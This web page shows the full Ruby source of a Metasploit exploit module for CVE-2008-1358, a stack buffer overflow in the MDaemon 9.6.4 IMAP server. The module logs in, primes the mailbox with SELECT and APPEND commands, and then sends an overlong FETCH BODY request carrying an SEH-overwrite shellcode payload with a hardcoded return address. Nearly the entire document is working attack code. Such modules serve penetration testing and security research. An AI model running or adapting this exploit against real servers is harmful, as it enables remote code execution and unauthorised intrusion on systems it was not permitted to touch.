Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/imap/mdaemon_fetch.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Imap9include Msf::Exploit::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server16version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP17account credentials are required. Credit to Matteo Memelli18},19'Author' => [ 'Jacopo Cervini', 'aushack' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2008-1358' ],24[ 'OSVDB', '43111' ],25[ 'BID', '28245' ],26[ 'EDB', '5248' ]27],28'Privileged' => false,29'DefaultOptions' =>30{31'EXITFUNC' => 'seh',32},33'Payload' =>34{35'Space' => 400,36'BadChars' => "\x00\x0a])",37},38'Platform' => 'win',39'Targets' =>40[41[ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll42],43'DisclosureDate' => '2008-03-13',44'DefaultTarget' => 0))45end4647def check48connect49disconnect5051if (banner and banner =~ /IMAP4rev1 MDaemon 9\.6\.4 ready/)52return Exploit::CheckCode::Appears53end54return Exploit::CheckCode::Safe55end5657def exploit58connect_login5960req0="0002 SELECT Inbox\r\n"6162res = raw_send_recv(req0)63if (res and res =~ /0002 OK/)64print_status("SELECT command OK")65end6667req1="0003 APPEND Inbox {1}\r\n"6869res = raw_send_recv(req1)70if (res and res =~ /Ready for append literal/)71print_status("APPEND command OK")72end7374res = raw_send_recv(rand_text_alpha(20) + "\r\n")75if (res and res =~ /APPEND completed/)76print_status("APPEND command finished")77end7879buf = rand_text_alpha_upper(528, payload_badchars)80buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)8182sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"8384print_status("Sending payload")8586sock.put(sploit)8788handler89disconnect90end91end929394